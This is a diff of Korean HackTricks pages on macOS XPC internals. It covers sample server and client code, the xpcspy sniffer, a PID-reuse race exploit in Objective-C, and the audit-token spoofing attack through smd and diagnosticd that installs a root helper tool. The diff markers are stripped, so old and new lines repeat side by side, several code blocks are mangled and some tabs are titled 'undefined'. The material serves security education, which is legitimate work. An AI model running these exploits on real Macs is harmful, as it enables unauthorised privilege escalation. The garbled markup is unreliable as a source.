애플리케이션의 XPC 구성 요소는 **애플리케이션 자체 내에 있습니다.** 예를 들어, Safari에서는 \*\*`/Applications/Safari.app/Contents/XPCServices`\*\*에서 찾을 수 있습니다. 이들은 **`.xpc`** 확장자를 가지며 (예: **`com.apple.Safari.SandboxBroker.xpc`**), **메인 이진 파일과 함께 번들**로 제공됩니다: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 및 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
XPC 구성 요소는 다른 XPC 구성 요소나 메인 앱 이진 파일과는 다른 **권한과 특권**을 가집니다. 단, XPC 서비스가 **Info.plist** 파일에서 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)을 "True"로 설정한 경우, XPC 서비스는 호출한 애플리케이션과 **동일한 보안 세션에서 실행**됩니다.
|
||||
|
||||
XPC 서비스는 필요할 때 **launchd**에 의해 **시작**되고 모든 작업이 **완료**되면 **종료**되어 시스템 리소스를 해제합니다. **애플리케이션별 XPC 구성 요소는 애플리케이션에 의해서만 사용**될 수 있으므로 잠재적인 취약점과 관련된 위험을 줄입니다.
|
||||
|
||||
## 시스템 전체 XPC 서비스
|
||||
### 시스템 전체 XPC 서비스
|
||||
|
||||
시스템 전체 XPC 서비스는 모든 사용자가 접근할 수 있습니다. 이러한 서비스는 launchd 또는 Mach 유형이며, **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, 또는 **`/Library/LaunchAgents`**와 같은 지정된 디렉토리에 위치한 plist 파일에 **정의**되어야 합니다.
|
||||
시스템 전체 XPC 서비스는 모든 사용자가 접근할 수 있습니다. 이러한 서비스는 launchd 또는 Mach 유형이며, **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, 또는 \*\*`/Library/LaunchAgents`\*\*와 같은 지정된 디렉토리에 위치한 plist 파일에 **정의**되어야 합니다.
|
||||
|
||||
이 plist 파일에는 서비스의 이름을 나타내는 **`MachServices`** 키와 이진 파일의 경로를 나타내는 **`Program`** 키가 있을 것입니다:
|
||||
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
|
@ -74,13 +77,14 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
**`LaunchDameons`**에 있는 것들은 root로 실행됩니다. 따라서 권한이 없는 프로세스가 이들 중 하나와 통신할 수 있다면 권한 상승이 가능할 수 있습니다.
|
||||
|
||||
## XPC 이벤트 메시지
|
||||
\*\*`LaunchDameons`\*\*에 있는 것들은 root로 실행됩니다. 따라서 권한이 없는 프로세스가 이들 중 하나와 통신할 수 있다면 권한 상승이 가능할 수 있습니다.
|
||||
|
||||
### XPC 이벤트 메시지
|
||||
|
||||
응용 프로그램은 다양한 이벤트 메시지에 **구독**하여 해당 이벤트가 발생할 때 **요청에 따라 초기화**될 수 있습니다. 이러한 서비스의 설정은 **이전과 동일한 디렉토리에 있는** **`LaunchEvent`** 키를 포함하는 **launchd plist 파일**에 의해 수행됩니다.
|
||||
|
||||
### XPC 연결 프로세스 확인
|
||||
#### XPC 연결 프로세스 확인
|
||||
|
||||
프로세스가 XPC 연결을 통해 메서드를 호출하려고 할 때, **XPC 서비스는 해당 프로세스가 연결할 수 있는지 확인**해야 합니다. 이를 확인하는 일반적인 방법과 주의해야 할 일반적인 함정은 다음과 같습니다:
|
||||
|
||||
|
@ -88,7 +92,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XPC 권한 부여
|
||||
### XPC 권한 부여
|
||||
|
||||
Apple은 앱이 **일부 권한과 그 획득 방법을 구성**할 수 있도록 허용합니다. 따라서 호출하는 프로세스가 해당 권한을 가지고 있다면 XPC 서비스에서 **메서드를 호출할 수 있습니다**:
|
||||
|
||||
|
@ -96,9 +100,10 @@ Apple은 앱이 **일부 권한과 그 획득 방법을 구성**할 수 있도
|
|||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XPC 스니퍼
|
||||
### XPC 스니퍼
|
||||
|
||||
XPC 메시지를 스니핑하기 위해 [**xpcspy**](https://github.com/hot3eed/xpcspy)를 사용할 수 있습니다. 이는 **Frida**를 사용합니다.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip3 install xpcspy
|
||||
|
@ -109,7 +114,8 @@ xpcspy -U -r -W <bundle-id>
|
|||
## Using filters (i: for input, o: for output)
|
||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||
```
|
||||
## XPC 통신 C 코드 예제
|
||||
|
||||
### XPC 통신 C 코드 예제
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="xpc_server.c" %}
|
||||
|
@ -166,6 +172,7 @@ dispatch_main();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <xpc/xpc.h>
|
||||
|
@ -193,7 +200,7 @@ int main(int argc, const char * argv[]) {
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="xpc_server.c" %}
|
||||
{% tab title="undefined" %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
|
@ -222,6 +229,8 @@ dispatch_main();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="xyz.hacktricks.service.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -245,6 +254,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc xpc_server.c -o xpc_server
|
||||
|
@ -264,10 +274,11 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
|||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||
```
|
||||
## XPC 통신 Objective-C 코드 예제
|
||||
|
||||
### XPC 통신 Objective-C 코드 예제
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="oc_xpc_server.m" %}
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
#include <Foundation/Foundation.h>
|
||||
|
@ -317,7 +328,9 @@ listener.delegate = delegate;
|
|||
sleep(10); // Fake something is done and then it ends
|
||||
}
|
||||
```
|
||||
{% tab title="oc_xpc_client.m" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
#include <Foundation/Foundation.h>
|
||||
|
@ -340,13 +353,17 @@ NSLog(@"Received response: %@", response);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist 파일은 macOS에서 XPC 서비스를 실행하기 위해 사용되는 속성 목록 파일입니다. XPC는 macOS에서 프로세스 간 통신을 위한 프레임워크입니다. 이 plist 파일은 XPC 서비스의 구성을 정의하고 실행할 때 필요한 매개 변수를 설정합니다.
|
||||
{% endtab %}
|
||||
|
||||
이 파일은 일반적으로 /Library/LaunchDaemons 또는 ~/Library/LaunchAgents 디렉토리에 위치합니다. 이 디렉토리에 plist 파일을 배치하면 시스템이 부팅될 때 또는 사용자가 로그인할 때 해당 XPC 서비스가 자동으로 시작됩니다.
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||
xyz.hacktricks.svcoc.plist 파일은 macOS에서 XPC 서비스를 실행하기 위해 사용되는 속성 목록 파일입니다. XPC는 macOS에서 프로세스 간 통신을 위한 프레임워크입니다. 이 plist 파일은 XPC 서비스의 구성을 정의하고 실행할 때 필요한 매개 변수를 설정합니다.
|
||||
|
||||
이 파일은 일반적으로 /Library/LaunchDaemons 또는 \~/Library/LaunchAgents 디렉토리에 위치합니다. 이 디렉토리에 plist 파일을 배치하면 시스템이 부팅될 때 또는 사용자가 로그인할 때 해당 XPC 서비스가 자동으로 시작됩니다.
|
||||
|
||||
xyz.hacktricks.svcoc.plist 파일을 수정하여 XPC 서비스의 동작을 변경할 수 있습니다. 예를 들어, 실행할 바이너리 파일, 환경 변수, 실행 권한 등을 설정할 수 있습니다. 이를 통해 XPC 서비스를 악용하여 권한 상승 등의 공격을 수행할 수 있습니다.
|
||||
|
||||
따라서, 시스템 보안을 강화하기 위해 xyz.hacktricks.svcoc.plist 파일을 신중하게 관리해야 합니다. 불필요한 XPC 서비스를 비활성화하거나 악의적인 변경을 방지하기 위해 파일의 권한을 제한하는 것이 좋습니다.
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -369,25 +386,26 @@ xyz.hacktricks.svcoc.plist 파일을 수정하여 XPC 서비스의 동작을 변
|
|||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp oc_xpc_server /tmp
|
||||
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
## Save server on it's location
|
||||
|
||||
# Call client
|
||||
./oc_xpc_client
|
||||
cp oc\_xpc\_server /tmp
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||
```
|
||||
## Load daemon
|
||||
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
|
||||
## Call client
|
||||
|
||||
./oc\_xpc\_client
|
||||
|
||||
## Clean
|
||||
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
|
||||
|
||||
````
|
||||
## Dylb 코드 내부의 클라이언트
|
||||
|
||||
The client code inside the Dylb is responsible for establishing a connection with the server and sending requests. It is an essential component of the inter-process communication (IPC) mechanism used in macOS.
|
||||
|
@ -439,7 +457,8 @@ NSLog(@"Done!");
|
|||
|
||||
return;
|
||||
}
|
||||
```
|
||||
````
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
@ -449,7 +468,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS PID 재사용
|
||||
# macOS PID Reuse
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,20 +9,20 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## PID 재사용
|
||||
|
||||
macOS **XPC 서비스**가 **PID**가 아닌 **감사 토큰**을 기반으로 호출된 프로세스를 확인하는 대신 **PID**를 확인하는 경우, PID 재사용 공격에 취약합니다. 이 공격은 **레이스 컨디션**을 기반으로 하며, **악용** 기능을 **남용**하여 **XPC** 서비스에 메시지를 **보낸 다음**에야 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**을 실행하여 **허용된** 이진 파일을 실행합니다.
|
||||
macOS **XPC 서비스**가 **PID**가 아닌 **감사 토큰**을 기반으로 호출된 프로세스를 확인하는 대신 **PID**를 확인하는 경우, PID 재사용 공격에 취약합니다. 이 공격은 **레이스 컨디션**을 기반으로 하며, **악용** 기능을 **남용**하여 **XPC** 서비스에 메시지를 **보낸 다음**에야 \*\*`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`\*\*을 실행하여 **허용된** 이진 파일을 실행합니다.
|
||||
|
||||
이 함수는 **허용된 이진 파일이 PID를 소유**하게 만들지만, **악성 XPC 메시지는** 그 전에 이미 **보내졌습니다**. 따라서, **XPC** 서비스가 **`posix_spawn`** 실행 후에 **PID**를 사용하여 **송신자를 인증**하고 확인하는 경우, 이것은 **권한이 있는** 프로세스에서 온 것으로 생각할 것입니다.
|
||||
|
||||
### 공격 예제
|
||||
|
||||
함수 **`shouldAcceptNewConnection`** 또는 이를 호출하는 함수에서 **`processIdentifier`**를 호출하고 **`auditToken`**을 호출하지 않는 경우, 이는 **프로세스 PID**를 확인하고 감사 토큰을 확인하지 않는 것을 의미합니다.\
|
||||
함수 **`shouldAcceptNewConnection`** 또는 이를 호출하는 함수에서 \*\*`processIdentifier`\*\*를 호출하고 \*\*`auditToken`\*\*을 호출하지 않는 경우, 이는 **프로세스 PID**를 확인하고 감사 토큰을 확인하지 않는 것을 의미합니다.\
|
||||
예를 들어, 다음 이미지에서 확인할 수 있습니다 (참조에서 가져옴):
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
|
@ -30,10 +30,11 @@ macOS **XPC 서비스**가 **PID**가 아닌 **감사 토큰**을 기반으로
|
|||
다음은 공격의 2 부분을 보여주는 예제 공격입니다 (다시 한 번 참조에서 가져옴):
|
||||
|
||||
* **여러 개의 포크를 생성**하는 부분
|
||||
* 각 포크는 메시지를 XPC 서비스에 **보낸 다음** 메시지를 보낸 후에 **`posix_spawn`**을 실행합니다.
|
||||
* 각 포크는 메시지를 XPC 서비스에 **보낸 다음** 메시지를 보낸 후에 \*\*`posix_spawn`\*\*을 실행합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
공격이 작동하려면 `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**를 중요하게 설정하거나 공격 내부에 다음을 넣어야 합니다:
|
||||
공격이 작동하려면 ` export`` ` \*\*`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`\*\*를 중요하게 설정하거나 공격 내부에 다음을 넣어야 합니다:
|
||||
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
|
@ -42,8 +43,11 @@ asm(".section __DATA,__objc_fork_ok\n"
|
|||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="NSTasks" %}
|
||||
**`NSTasks`**를 사용하여 RC를 악용하기 위해 자식 프로세스를 실행하는 인자를 사용하는 첫 번째 옵션입니다.
|
||||
{% tab title="undefined" %}
|
||||
\*\*`NSTasks`\*\*를 사용하여 RC를 악용하기 위해 자식 프로세스를 실행하는 인자를 사용하는 첫 번째 옵션입니다.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
@ -149,8 +153,11 @@ create_nstasks();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="fork" %}
|
||||
이 예제는 원시 **`fork`**를 사용하여 **PID 경쟁 조건을 이용하는 자식 프로세스를 실행**하고, 그런 다음 **하드 링크를 통해 다른 경쟁 조건을 이용**합니다.
|
||||
이 예제는 원시 \*\*`fork`\*\*를 사용하여 **PID 경쟁 조건을 이용하는 자식 프로세스를 실행**하고, 그런 다음 **하드 링크를 통해 다른 경쟁 조건을 이용**합니다.
|
||||
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
@ -300,7 +307,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS xpc\_connection\_get\_audit\_token 공격
|
||||
# macOS xpc\_connection\_get\_audit\_token Attack
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -20,8 +20,8 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
Mach Messages가 무엇인지 모르는 경우 다음 페이지를 확인하세요:
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="../../" %}
|
||||
[..](../../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
일단 ([여기에서 정의](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
@ -52,14 +52,17 @@ XPC 연결이 어떻게 설정되는지 모르는 경우 확인하세요:
|
|||
이를 악용할 수 있는 두 가지 방법:
|
||||
|
||||
1. 변형1:
|
||||
|
||||
* **악용**은 서비스 **A**와 서비스 **B**에 **연결**합니다.
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 서비스 **A**는 **이벤트 핸들러 내부가 아닌** **`dispatch_async`**에서 **`xpc_connection_get_audit_token`**을 호출합니다.
|
||||
* 서비스 **A**는 **이벤트 핸들러 내부가 아닌** \*\*`dispatch_async`\*\*에서 \*\*`xpc_connection_get_audit_token`\*\*을 호출합니다.
|
||||
* 따라서 **다른** 메시지가 **감사 토큰을 덮어쓸 수 있습니다**. 왜냐하면 이것은 이벤트 핸들러 외부에서 비동기적으로 디스패치되기 때문입니다.
|
||||
* 악용은 **서비스 A에게 서비스 A의 SEND 권한을 전달**합니다.
|
||||
* 따라서 svc **B**는 실제로 서비스 **A**에게 **메시지를 보냅니다**.
|
||||
* **악용**은 **특권 작업을 호출**하려고 시도합니다. RC svc **A**는 이 **작업의 권한을 확인**하고 **svc B가 감사 토큰을 덮어썼기 때문에** (악용이 특권 작업을 호출할 수 있도록 함) 악용에게 액세스 권한을 부여합니다.
|
||||
|
||||
2. 변형 2:
|
||||
|
||||
* 서비스 **B**는 사용자가 할 수 없는 서비스 **A**에서 **특권 기능**을 호출할 수 있습니다.
|
||||
* 악용은 **서비스 A**에 연결하고 **특정 replay 포트에서 응답을 기대하는 메시지를 보내는** 서비스 A와 **두 번째 연결**을 형성합니다.
|
||||
* 악용은 **서비스 B**에게 **그 replay 포트를 전달하는** 메시지를 보냅니다.
|
||||
|
@ -69,16 +72,16 @@ XPC 연결이 어떻게 설정되는지 모르는 경우 확인하세요:
|
|||
|
||||
시나리오:
|
||||
|
||||
* 두 맥 서비스 **`A`**와 **`B`**에 연결할 수 있는데 (샌드박스 프로필 및 연결 수락 전 권한 확인에 기반함).
|
||||
* **`A`**는 **`B`**가 전달할 수 있는 특정 작업에 대한 **권한 확인**이 있어야 합니다 (하지만 우리 앱은 할 수 없음).
|
||||
* 두 맥 서비스 \*\*`A`\*\*와 \*\*`B`\*\*에 연결할 수 있는데 (샌드박스 프로필 및 연결 수락 전 권한 확인에 기반함).
|
||||
* \*\*`A`\*\*는 \*\*`B`\*\*가 전달할 수 있는 특정 작업에 대한 **권한 확인**이 있어야 합니다 (하지만 우리 앱은 할 수 없음).
|
||||
* 예를 들어, B에는 **특권**이 있거나 **루트로 실행** 중인 경우 A에 특권 작업을 수행하도록 요청할 수 있습니다.
|
||||
* 이 권한 확인을 위해 **`A`**는 **`dispatch_async`**에서 `xpc_connection_get_audit_token`을 호출하는 등 **비동기적으로** 감사 토큰을 획득합니다.
|
||||
* 이 권한 확인을 위해 \*\*`A`\*\*는 \*\*`dispatch_async`\*\*에서 `xpc_connection_get_audit_token`을 호출하는 등 **비동기적으로** 감사 토큰을 획득합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 경우 공격자는 **악용**을 트리거하여 **A에게 작업을 수행하도록 요청**하는 **악용**을 만들 수 있습니다. 이 과정에서 **B가 A에게 메시지를 보내도록** 만듭니다. RC가 **성공하면** **B의 감사 토큰이 메모리에 복사**되고 **악용**의 요청이 **A에 의해 처리**되는 동안 특권 작업에 **액세스**할 수 있게 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
이는 **`A`**가 `smd`로, **`B`**가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로 실행 중인 경우). **루트로 실행 중인 프로세스**가 **smd**에 연락하면 다른 확인 사항이 수행되지 않습니다.
|
||||
이는 \*\*`A`\*\*가 `smd`로, \*\*`B`\*\*가 `diagnosticd`로 발생했습니다. smb의 함수 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)를 사용하여 새로운 특권 도우미 도구를 설치할 수 있습니다 (루트로 실행 중인 경우). **루트로 실행 중인 프로세스**가 **smd**에 연락하면 다른 확인 사항이 수행되지 않습니다.
|
||||
|
||||
따라서 서비스 **B**는 **루트로 실행**되므로 **프로세스를 모니터링**할 수 있으며, 모니터링이 시작되면 **초당 여러 메시지를 보냅니다.**
|
||||
|
||||
|
@ -88,9 +91,7 @@ XPC 연결이 어떻게 설정되는지 모르는 경우 확인하세요:
|
|||
2. `diagnosticd`에 대한 보조 **연결**을 형성합니다. 일반적인 절차와 달리 두 개의 새로운 맥 포트를 생성하고 보내는 대신, 클라이언트 포트 **보내기 권한**은 `smd` 연결과 관련된 **보내기 권한의 복제본**으로 대체됩니다.
|
||||
3. 결과적으로 XPC 메시지는 `diagnosticd`로 보내지지만 `diagnosticd`의 응답은 `smd`로 리디렉션됩니다. `smd`에게는 사용자 및 `diagnosticd`의 메시지가 동일한 연결에서 발신된 것으로 보입니다.
|
||||
|
||||
![공격 프로세스를 나타내는 이미지](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. 다음 단계는 `diagnosticd`에게 선택한 프로세스(사용자 자신의 프로세스일 수도 있음)의 모니터링을 시작하도록 지시하는 것입니다. 동시에 `smd`로 루틴 1004 메시지의 홍수를 보냅니다. 이 과정의 목적은 권한이 상승된 도구를 설치하는 것입니다.
|
||||
5. 이 작업은 `handle_bless` 함수 내에서 레이스 컨디션을 트리거합니다. 타이밍이 매우 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자 프로세스의 PID를 반환해야 합니다(권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
![공격 프로세스를 나타내는 이미지](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. 다음 단계는 `diagnosticd`에게 선택한 프로세스(사용자 자신의 프로세스일 수도 있음)의 모니터링을 시작하도록 지시하는 것입니다. 동시에 `smd`로 루틴 1004 메시지의 홍수를 보냅니다. 이 과정의 목적은 권한이 상승된 도구를 설치하는 것입니다. 5. 이 작업은 `handle_bless` 함수 내에서 레이스 컨디션을 트리거합니다. 타이밍이 매우 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자 프로세스의 PID를 반환해야 합니다(권한이 상승된 도구가 사용자의 앱 번들에 있기 때문). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`에 속한 감사 토큰을 참조해야 합니다.
|
||||
|
||||
## 변형 2: 응답 전달
|
||||
|
||||
|
@ -103,20 +104,20 @@ XPC(크로스 프로세스 통신) 환경에서 이벤트 핸들러는 동시에
|
|||
|
||||
이 취약점을 악용하기 위해 다음 설정이 필요합니다:
|
||||
|
||||
* 두 개의 맥 서비스, **`A`**와 **`B`**, 둘 다 연결을 설정할 수 있어야 합니다.
|
||||
* 서비스 **`A`**는 **`B`**만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다(사용자의 애플리케이션은 수행할 수 없음).
|
||||
* 서비스 **`A`**는 응답을 기대하는 메시지를 보내야 합니다.
|
||||
* 사용자는 **`B`**에게 응답할 메시지를 보낼 수 있어야 합니다.
|
||||
